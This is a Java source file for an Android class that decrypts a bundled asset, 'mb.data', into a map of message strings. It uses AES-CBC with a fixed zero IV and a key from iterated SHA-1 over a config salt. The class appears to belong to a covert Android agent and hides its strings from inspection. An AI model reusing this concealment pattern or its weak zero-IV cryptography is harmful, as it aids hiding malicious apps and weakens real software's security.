package com.android.dvci; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.security.MessageDigest; import java.util.Arrays; import java.util.HashMap; import javax.crypto.Cipher; import javax.crypto.CipherInputStream; import javax.crypto.SecretKey; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import android.content.Context; import com.android.dvci.auto.Cfg; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.Utils; public class MessagesDecrypt { private static final String TAG = "MessageDecrypt"; final HashMap<String, String> messages = new HashMap<String, String>(); String pack = Status.self().getAppContext().getPackageName(); public MessagesDecrypt(Context context) { if (Cfg.DEBUG) { Check.asserts(context != null, " (init) Assert failed"); } try { if (Cfg.DEBUG) { Check.log(TAG + " (MessagesDecrypt)"); } InputStream stream = Utils.getAssetStream("mb.data"); final SecretKey key = produceKey(Cfg.RNDMSG); if (Cfg.DEBUG) { Check.asserts(key != null, "null key"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " (init): key=" + ByteArray.byteArrayToHex(key.getEncoded())); } final Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); //$NON-NLS-1$ final byte[] iv = new byte[16]; Arrays.fill(iv, (byte) 0); final IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(Cipher.DECRYPT_MODE, key, ivSpec); final CipherInputStream cis = new CipherInputStream(stream, cipher); final BufferedReader br = new BufferedReader(new InputStreamReader(cis)); while (true) { final String line = br.readLine(); if (line == null) { break; } final String[] kv = line.split("=", 2); if (Cfg.DEBUG) { Check.asserts(kv.length == 2, "wrong number of tokens"); //$NON-NLS-1$ //Check.log(TAG + " " + kv[0] + " " + kv[1]); //$NON-NLS-1$ //$NON-NLS-2$ } String value = kv[1].replace("$PACK$", pack); messages.put(kv[0], value); if (Cfg.DEBUG) { Check.asserts(messages.containsKey(kv[0]), "strange hashmap behaviour"); //$NON-NLS-1$ } } if (Cfg.DEBUG) { Check.log(TAG + " (MessagesDecrypt), messages.size: " + messages.size()); } } catch (final Exception ex) { if (Cfg.EXCEPTION) { Check.log(TAG + " Exception"); Check.log(ex); } } } public static SecretKey produceKey(String key) { try { if (Cfg.DEBUG) { Check.log(" key: " + key + " " + key.length()); //$NON-NLS-1$ } final String salt = Cfg.RANDOM; final MessageDigest digest = MessageDigest.getInstance("SHA-1"); for (int i = 0; i < 128; i++) { digest.update(salt.getBytes()); digest.update(key.getBytes()); digest.update(digest.digest()); } final byte[] sha1 = digest.digest(); final byte[] aes_key = new byte[16]; System.arraycopy(sha1, 0, aes_key, 0, aes_key.length); final SecretKey secret = new SecretKeySpec(aes_key, "AES"); if (Cfg.DEBUG) { Check.log(" produced key: " + ByteArray.byteArrayToHex(aes_key)); //$NON-NLS-1$ } return secret; } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " " + e); //$NON-NLS-1$ } return null; } } public HashMap<String, String> getMessages() { return messages; } }